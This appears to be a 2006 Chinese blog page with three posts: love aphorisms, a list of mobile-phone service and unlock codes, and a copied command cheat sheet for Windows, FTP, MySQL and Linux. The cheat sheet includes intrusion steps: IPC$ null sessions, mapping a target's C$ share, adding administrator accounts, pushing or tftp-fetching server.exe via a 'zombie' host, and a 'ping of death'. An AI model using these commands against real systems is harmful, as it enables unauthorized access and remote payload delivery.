24. 天长地久有没有?当然有!为什么大多数人不相信有?因为他们没有找到人生旅途中最适合自己的那一个。也就是冥冥中注定的那一个。为什么找不到?茫茫人海,人生如露,要找到最合适自己的那一个谈何容易?你或许可以在40岁时找到上天注定的那一个,可是你能等到40岁吗?在20多岁时找不到,却不得不结婚,在三四十岁时找到却不得不放弃。这就是人生的悲哀。

25. 为什么生活中很少见到传说中天长地久,可歌可泣的爱情故事?因为这样的感情非常可贵,可贵的东西是那么好见到的吗?金子钻石容易见到吗?

26. 从前失恋之时,我都会恨她,恨她为什么这么薄情寡义,听到有关她的不好的消息,我都会偷着乐,现在不了,现在即使失去她,我也会祝福她,衷心希望她能过得很好。她过得不好我会很难过。这也是喜欢和爱的一个区别。

27. 和聪明的人恋爱会很快乐,因为他们幽默,会说话,但也时时存在着危机,因为这样的人很容易变心。和老实的人恋爱会很放心,但生活却也非常得乏味。

28. 女人不要太好强,有的女人自尊心过强。是别人的错她态度很强硬,是自己的错她同样态度很强硬。她总以为去求别人是下贱的表现,她是永远不会求男人的。这样的女人很令人头疼。聪明的女人会知道什么时候该坚强,什么时候该示弱。好强应该对外人,对爱的人这么好强你还要不要他呵护你啊?

29. 要看一个人有没有内涵,内看谈吐,外看着装。还可以看写字。谈吐可以看出一个人的学识和修养。着装可以看出一个人的品位,写字可以看出一个人的性格。

30. 想知道一个人爱不爱你,就看他和你在一起有没有活力,开不开心,有就是爱,没有就是不爱。

31. 有的人老是抱怨找不好人,一两次不要紧,多了就有问题了,首先你要检讨自己本身有没有问题,如果没有,那你就要审视一下自己的眼光了,为什么每次坏人总被你碰到?

32. 有人说男人一旦变心,九头牛也拉不回,难道女人变心,九头牛就拉得回来吗?男女之间只在生理上有差异,心理方面大同小异。

33. 爱情与人品没多大关系,从前有个女同事跟我说她喜欢射雕里的杨康,不喜欢郭靖,我很惊奇,爱坏厌好?后来想想,也没什么,杨康认贼作父,卖国求荣是不对。可他对爱情却很执着,这样的人为什么不能享有爱?现实生活也有这样的例子,古惑仔也有古惑仔的爱情。

34. 有人说没有面包的爱情终究会夭折。我说说这话的人不懂什么是爱情。从前恋爱我很反感别人说女方这条件好那条件好。我不管你什么出身,什么学历,什么地位,如果我爱你,你擦皮鞋甚至做妓女我也无所谓。大人说我幼稚,没有钱怎么过日子?我说有钱没爱过的是什么日子?和自己爱的人在一起,喝水吃腌菜我也是高兴的。

35. 如果真爱一个人,就会心甘情愿为他而改变。如果一个人在你面前我行素,置你不喜欢的行为而不顾,那么他就是不爱你。所以如果你不够关心他或是他不够关心你,那么你就不爱他或他不爱你,而不要以为是自己本来就很粗心或相信他是一个粗心的人。遇见自己真爱的人,懦夫也会变勇敢,同理,粗心鬼也会变得细心。

36. 彼此都有意而不说出来是爱情的最高境界。因为这个时候两人都在尽情的享受媚眼,尽情的享受目光相对时的火热心理,尽情的享受手指相碰时的惊心动魄。一旦说出来,味道会淡许多,因为两人同意以后,所有的行为都是已被许可,已有心理准备的了,到最后渐渐会变得麻木。

37. 一个萝卜一个坑,说的是婚姻情况。事实上对于爱情来说,是不成立的,优秀的人,不管男女,都会是一个萝卜好几个坑。所以这个世界天天上演着悲欢离合的故事。

38. 有两种女人很可爱,一种是妈妈型的,很体贴人,很会照顾人,会把男人照顾的非常周到。和这样的女人在一起,会感觉到强烈的被爱。还有一种是妹妹型的。很胆小,很害羞,非常的依赖男人,和这样的女人在一起,会激发自己男人的个性的显现。比如打老鼠扛重物什么的。会常常想到去保护自己的小女人。还有一种女人既不知道关心体贴人,又从不向男人低头示弱,这样的女人最让男人无可奈何。

39. 吝啬是男人的大忌,就算穷也不要做出一副穷样。有人抱怨女人只爱男人的钱,其实也并不一定就是这样,有的女人喜欢男人为她花钱,有时候也是为了证实自己在男人心目中的位置,男人如果喜欢一个女人,一定愿意为她花钱的。

40. 男女搭配,干活不累。因为在异性面前,男人总喜欢表现自己很男人的一面。这样也才像个男人,所以大男子主义有时候是必须有的。

41. 追求爱慕的异性是很常见的说法。其实对方不喜欢你,你再怎么追也没用,对方喜欢你,根本不需要挖空心思去追。或许真有一天他被你的诚意所打动,可最终大多还是会分手的。因为爱情不是感动,你不是他心目中的理想伴侣,即使一时接受你,将来碰上他心仪的那一位,一样会离开你。当然,对于喜欢你的人,你还是需要花点心思去讨好他的,因为这样才像拍拖,才浪漫。

42. 经常有人问在朋友和恋人之间叫你选择,你会选择哪一个?其实这个问题是多余的。真正懂你的朋友或恋人,他们会体谅你的行为,如果不体谅你,因此失去也不必太在意。朋友或恋人是要互相帮助的,而不是硬性迁就。

43. 曾经沧海难为水,除却巫山不是云。可是如果我还没经沧海或是刚到沧海打了个转就回来,而且也没到过巫山就一头钻进了围城怎么办啊

44. 浪漫是什么?是送花?雨中漫步?楼前伫立不去?如果两人彼此倾心相爱,什么事都不做,静静相对都会感觉是浪漫的。否则,即使两人坐到月亮上拍拖,也是感觉不到浪漫的。

45. 是否门当户对不要紧,最重要应该是兴当趣对,不然没有共同语言,即使在一起,仍然会感觉到孤独。

46. 学会用理解的,欣赏的眼光去看对方,而不是以自以为是的关心去管对方。

47. 幼稚的人和幼稚的人在一起没什么问题,成熟的人和成熟的人在一起也没什么问题,成熟的人和幼稚的人在一起问题就多了。

48. 有的女人恋爱时让男友宠着自己,结婚后仍然要老公百般宠着自己,却忘记做为一个女人应该做的份内之事。这样的女人是不懂得爱情的。

49. 持久的爱情源于彼此发自内心的真爱,建立在平等的基础之上。任何只顾疯狂爱人而不顾自己有否被爱,或是只顾享受被爱而不知真心爱人的人都不会有好的结局。

50. 如果你赞同以上说法,就请实践吧

posted @ 2006-06-13 14:03 高山流水 阅读(156) | 评论 (0)编辑 收藏

  手机密码锁机的朋友不用再去营业厅解锁.自己搞定
解话机锁:*2767*2878#/*2767*7377#
  三星码片复位:*2767*3855# 也可用于解机锁或卡锁
  三星显温度、电池容量:*#0228#
  三星调显示屏对比度:*#0523#
  三星软件版本:*#9999#
  三星A100-A188看版本:*#0837#
  摩托罗拉T2688解所有锁:19980722
  T2688/2988/988d没有中文:*#0000# OK(插卡)
  摩托罗拉所有机锁:按MENU+5+1/2
  西门子恢复出厂设置:*#9999#
  西门子乱文回中文:*#0000#/*#0086#
  西门子软件版本:*#06# 左键
  爱立信老机回英语:*#0000#
  爱立信新机回英语:按CLR-左键-0000-右键
  爱立信显出厂日期:右、*、左、左、*、左、*键
  诺基亚显出厂日期:*#0000#(插卡)
  诺基亚省30%电:*#746025625#
  飞利浦强迫重连网:*#2562*#
  飞利浦显示和更改手机密码:*#7489*#
  博世(BOSCH)909S回中文:*#0852#
  博世(BOSCH)909s回英文:*#0851#
  NEC显软件版本:*#2820#
  NEC恢复原厂设置:*#73738#
  波导s1000隐藏功能:*#*#1705#
  波导s1000解锁:*#*#1705#46(也用于999D,720)
  如死机再用---24681357(或直接就用它解)
  波导8xx/9xx系列:*#+串号7-14位#
  SIM卡 波导串号最后9位去掉最后一位
  阿尔卡特OT221/220解锁:25228352/ALCATEL+D
  阿尔卡特OT301/302解锁:83227423
  阿尔卡特OT500/700解锁:25228352
  康佳:*#0001# *#1001# ##1001#
  康佳小雪5219:#8879576# 原始:1234
  GVC:*#1001* (海尔)
  南方高科320开机键入##1001#,然后装上卡输入0000 OK
  三菱NET LOCK:*787090或*787292
  三菱IMSI LOCK:*362628或*360608
  三菱NETSUB LOCK:*476989
  三菱CP LOCK:*482896或*480896
  三菱SP LOCK:*967678
  三菱EXT LOCK:*574243
  
  飞利浦手机通用秘技
  手机在待机状态下时,请输入以下按键组合:
  *#06# 查看IME串码
  *#2254*#显示状况行
  *#2255*#开启或关闭(DEBUG CALL)模式
  *#2558*#显示通话时间
  *#2562*#强迫重新连接网络系统
  *#7489*#显示和更改手机密码
  *#7378*#显示一些SIM卡信息,例如相位(phaselevel)
  *#3377*#读取SIM卡信息,初始化和标示
  *#7693*#开启或关闭睡眠模式
  *#8463*#读取睡眠模式信息
  *#337*# EFR模式开/关
  *#4764*#单频/双频设置(切换单频GSM900)
  *#4765*#单频/双频设置(切换单频GSM1800)
  *#4762*#单频/双频设置(切换成双频模式)
  
  阿尔卡特(ALCATEL)测试键
   在待机状态下,输入"000000*"可监测网络状况,包括信号强度和使用中的频道等。
  
  NEC DB2000手机秘技 在待机时输入以下按键:
  "*#2820#",再按通话键,可显示手机的软件版本。
  "*73738#",再按通话键,可将回到手机出厂状态。
  
  三星早期版本的手机,可以输入以下的指令各种进入测试状态:
    按键代码   测试功能/名称
    *#9999# 显示手机软件版本号
    *2767*2878# 话机当前设定复位(手机解锁)
    *2767*3855# 话机EEPROM总复位(修复软件故障)
    *#9998*228# 电池参数读取
    *#9998*289# 振铃信号频率测试
    *#9998*246# 程序参数显示
    *#9998*364# WATCHDOG信号测试
    *#9998*377# EEPROM错误显示
    *#9998*427# WATCHDOG信号路径设置
    *9998*523# 液晶显示对比度调整
    *9998*636# 存贮状态显示
    *9998*786# 当前日期、时间读取
    *9998*842# 振子振动测试
    *9998*947# 在重大错误下复位设置
    *9998*9266# 显示收信通道号及收信强度
  三星新版手机(从三星600新版开始)所支持的测试指令减少了很多,基本上就只余下以下几个可以成功的:
   *2767*2878#(EEPROM复位)
    *2767*3855#(EEPROM总复位,IMEI有可能会变成初始码)
    *#9999#(查版本)
    *#0523#(调LCD对比度)
    *2767*7377# (解手机密码的复位指令)
    尤其是*#0523#的输入,有些型号的手机要插卡,有些不用。另外,如出现一次输入成功,而再输入失败的情况,是由于手机软件上的记忆效应,你可以将手机的电池卸下重装上再试输入(例如:*2767*3855# 指令输入后,有时不重装电池,手机是不能开机的)。
  三星SGH-N288手机测试指令
  *#0001# 显示RS232串行通信参数
  *#0228# 显示电池容量、电压和温度
  *#0246# 程序参数显示
  *#0324# 网络检测(工程模式)
  *#0364# 显示Watchdog状态,可以修改
  *#0377# EEPROM错误显示
  *#0427# WATCHDOG信号路径设置
  *#0523# 调节对比度,谨慎修改;
  *#0636# 存储器容量显示
  *#0746# SIM卡文件规格测试
  *#0778# SIM卡信息
  *#0786# 显示内容为本次开机的时间及本次开机后到当前的时间长。按->后显示最新的本次开机后到当前的时间长;再按->后显示上一次的开机时间;再按->后显示上一次的关机时间以及上次开关机的时长。
  *#0837# 显示详细的软件版本
  *#0842# 振动测试
  *#0947# 在重大错误情况下复位设置指令
  *#9999# 显示软件版本
  *2767*2878# EEPROM复位,手机设定总清除,可用于解锁
  *2767*3855# 从字库中取出程序重置EEPROM为出厂值。对修改过IMEI码的手机,用此指令可恢复原出厂机身号码。此指令还用于因EEPROM(码片)内程序紊乱造成的各种故障。
  
  西门子中文机秘籍大公开
  输入[*#06#],可看IMEI(International Mobile Equipment Identity)码。
  输入[*#06#]+[左软键],可看软件版本号。 以上不需插入SIM卡也可操作。
  输入[*#0000#]+[发射键],改成预设语言显示(英语?)。
  输入[*#0001#]+[发射键],改成英文显示。
  输入[*#0086#]+[发射键],改成简体中文显示。
  输入[*#0886#]+[发射键],改成繁体中文显示。
  快速键
  长按[*],开启或关闭铃声。
  长按[#],开启或关闭键盘锁。
  长按[左侧上键],开启情景模式设置。
  长按[左侧下键],开启语拨号。
  短按[右侧录音键],播放已录下的音,可在任何时候播放,包括通话期间,通话双方都听到。
  长按[右侧录音键],开始录音,直到放开,或20秒已到。
  当使用键盘锁時,可长按[挂断键]來暂时开启夜光照明。
  连按两下[电话簿]可进入VIP电话簿。
  [1]+[发射键]可进入语音信箱(需在[菜单→短消息→语音信箱]设置语音信箱服务号码)。
  [0]+[左软键]可切換1号2号线路(好象大部分地区不支持,包括珠海)。
  [数字键]+[#]可显示出儲存在SIM卡该位置的电话簿名称(前提是至少在SIM卡储存一个电话)。
  长按[0]会出现+字,并可用左软键来选择国家长话代码(位置依英文名称排列)。
  快捷键设定 :[数字键]→[左软键]→[右软键](变更)此時会出現选项,选择即可(若是选择电话号码,则进入电话簿可选择要快速发射的电话名称)
  使用 [数字键]→[发射键]即可。
  西门子手机锁机解锁方法
  请需要解锁的网友,将解锁码在开机状态下<插不插SIM卡无所谓>直接输入手机,然后等候自动解锁,时间约1秒至60分钟不等
  
  ★ 如何解除摩托罗拉手机的PIN密码
    当你的设置的PIN不小心遗忘了,或别人在你的手机上设置了PIN等,这时PUK就帮了大忙了。在输错三次的PIN后则手机上会显示SIM卡已锁,这时你必须要通过PUK来解锁了。PUK为8位数字的码一般在大卡的背面,如果找不到的话要尽快到当地的客服中心查询,切不可乱输,因为PUK只有10次输错的机会,输错10次则SIM卡报销。摩托罗拉手机一般在输入PUK之前都必须先输入**05*再输PUK,格式如下:**05*PUK即可。
  ★ 摩托罗拉手机的主清除与主复位
    无论你的摩托罗拉手机上做了任何的设置,造成了如:不能正常拔入拔出,来电显示乱码,或无法删除电话本,等等,您都可以用以下方法复原。
    MENU键+5+1(2)屏幕则会显示"主清除或主复位"如选择主清除将会执行以下操作:
    1、从话机记忆中清除电话本项目。
    2、清除最后呼出号码及最后呼入号码。
    3、可清零计时表。
  
    但不能清除的功能有:固定号码表、本机号码表、计费表、收到和传出的短消息。
    选择主复位,将执行以下:
    1、返回最初的语言选择。
    2、铃音恢复标准音量复为中,网络查找频度恢复为中,取消自动应答,声音提示计,时通话中显示计费,节电,自动免提,自动加锁,小区广播及通话传真方式。
  ★ 摩托罗拉 T2688 键盘解锁
    T2688有通过键盘解锁的功能,只要输入:19980722 即可,不过它只支持当前的卡解琐,无法实现手机的全复位。
  ★ MOTOROLA GSM手机的测试指令
    测试状态的进入:
    插入测试SIM卡后打开手机电源,当内部自动"叫醒"功能顺利完成后,按"#"键三秒钟。
    三秒钟后手机显示"TEST",表明手机已进入测试状态,
   测试指令如下:
  01#:退出测试状态
  02xxyy:显示/改变Tx功率电平DAC与装入PA校准表,类似于ETACS 72#指令
  07#:关闭Rx Audio通道
  08#:打开Rx Audio通道
  09#:关闭Tx Audio通道
  10#:打开Tx Audio通道
  11ABC#:设置信道 ABC=000~124
  12AB#:设置功率级电平 AB=00~15
  19#:显示呼叫处理器软件版本
  20#:显示调制解调器软件版本
  22#:显示语音编解码器软件版本
  82#:看U801的版本号
  24A#:设置AGC步进 A=0 or 1
  25ABC#:将连续的AGC置为ABC,ABC=0~255
  26ABCD#:将连续的AFC置为ABCD,ABCD=0~4095
  31A#:设定时隙为A,A=0~7
  33ABC#:单步捕捉ABC信道
  36#:打开音频环路
  37#:中止测试
  38#:激活SIM卡

39#:使SIM卡失效
  40#:发射全"1"信息
  41#:发射全"0"信息
  43A#:改变Audio通道至A
  45ABC#:读取信道ABC上的信号强度,ABC=0~124
  46#:显示当前AFC DAC的值
  47A#:设置音量A=0~7
  490#:读锂电池信息
  57#:清除保留内存,相当于ETACS的32#指令
  58ABCDEF#:设置保密码为ABCDEF
  59ABCD#:显示/改变解锁码
  60#:显示IMEI(国际移动设备识别码)
  65#:显示IMSI
  7100#:手机自检,03、04为Modem IC错误,05、06为SpeechCode IC错误,07为软件错误必需转移卡,08为手机正常,00、01为CPU错误。
  
  飞利浦手机秘籍
  ◆显示IMEI号:*#06#
  ◆显示状态行 *#2254*#: C, BS, RR, MMI, CREAT.
  ◆激活或关闭调试呼叫(DEBUG CALL)模式 *#2255*#
  ◆显示总通话时间 *#2558*#
  ◆强迫重新接入网络 *#2562*#
  ◆显示和更改手机的保密码 *#7489*#
  ◆显示一些SIM卡信息,例如相位等级(phase level)*#7378*#
  ◆获取SIM卡锁信息,初始化和标志 *#3377*#
  ◆激活和关闭睡眠模式 *#7693*#
  ◆获取睡眠模式信息 *#8463*#

posted @ 2006-06-13 11:53 高山流水 阅读(479) | 评论 (4)编辑 收藏

不是原创的,但基本上收入了各个网站dos命令了
基本上可以作为电子书使用,希望对各位有用
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况


IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip


MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。



Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)



附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

